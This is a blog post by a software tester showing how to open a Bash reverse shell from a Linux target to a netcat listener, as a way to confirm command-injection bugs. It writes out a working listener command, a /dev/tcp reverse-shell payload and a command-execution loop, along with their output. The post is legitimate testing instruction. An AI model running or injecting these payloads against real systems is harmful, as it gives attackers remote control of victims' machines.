As far as testing goes, finding a bug that lets me run arbitrary commands on a remote
machine is easily one of my favourite things, thankfully because it's pretty rare
in the products I work with. However, sometimes it's not always
easy or convenient to know when you encounter these things, especially when it's
not within my testing environment so I can't just SSH into the machine and check
whether touch test.txt
actually produced a test.txt file.
Sending commands that establish a reverse shell, however, allows me to use that payload
in a battery of automated tests, and I can just check my server to see if any
connections succeeded. If you're not familiar with the concept, a bind shell is when
you connect to a target machine, for example ssh incognitjoe@joedev
uses SSH to open
a shell on the joedev
machine. A reverse shell is when the connection is established
from the target out to a server that can then send commands to and read output from
the target. Note this post isn't intended to cover bypassing the myriad
of defenses that can be employed to prevent such things - it's a super simple
example of how to open a communication channel from a Linux target back to your
server machine. If you're looking for ways to defeat firewall rules and so on, this
isn't the blog post for you, I'm afraid.
With all that said, let's get started. Let's assume joedev
is our server machine,
and we're testing a possibly vulnerable application running on http://192.168.1.50 .
First, we want to use Netcat to open a listening port, let's say 6666, on joedev
:
nc -l -p 6666 -vvv
This spits out some info telling us things are running:
NCAT DEBUG: Initialized fdlist with 103 maxfds
Ncat: Listening on :::6666
NCAT DEBUG: Added fd 3 to list, nfds 1, maxfd 3
Ncat: Listening on 0.0.0.0:6666
NCAT DEBUG: Added fd 4 to list, nfds 2, maxfd 4
NCAT DEBUG: Added fd 0 to list, nfds 3, maxfd 4
NCAT DEBUG: Initialized fdlist with 100 maxfds
NCAT DEBUG: selecting, fdmax 4
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 4 is ready
Now, let's think about how we're going to get the target machine to connect back to
our server. While netcat could be used there too, not every machine has it installed
by default, and we'll assume our remote level access isn't able to install new
software(yet!). We'll instead take advantage of Bash's built-in /dev/tcp file, and a
feature of the exec
command to open a new file descriptor that'll act as our shell,
so our payload to try and execute on the target is:
exec 5<>/dev/tcp/joedev/6666
To explain a little further: calling exec without a command just opens a file in the current shell. Here, we're saying that file descriptor 5 is a TCP session to joedev:6666. Pretty sneaky, and if we check our server's output we see something new:
Ncat: Connection from 192.168.1.50.
Neato. If all we care about is proving that we could open a shell from the target machine(by injecting that exec command somewhere, somehow) then we're done. However, we're not actually doing anything with the shell yet, so we'll run another command on the target to read the contents of the file descriptor we assigned and execute them:
cat <&5 | while read line; do $line 2>&5 >&5; done
Anything the server sends will now be read and executed, and we can start poking around
the machine at our leisure. Let's try whoami
:
whoami
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 0 is ready
NCAT DEBUG: selecting, fdmax 5
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 5 is ready
notarootuser
"notarootuser" is the output from the target machine, so that's who we're running as, neato.
Note this is ridiculously inelegant, and there's definitely better ways to accomplish this. Hopefully the concept is clear though!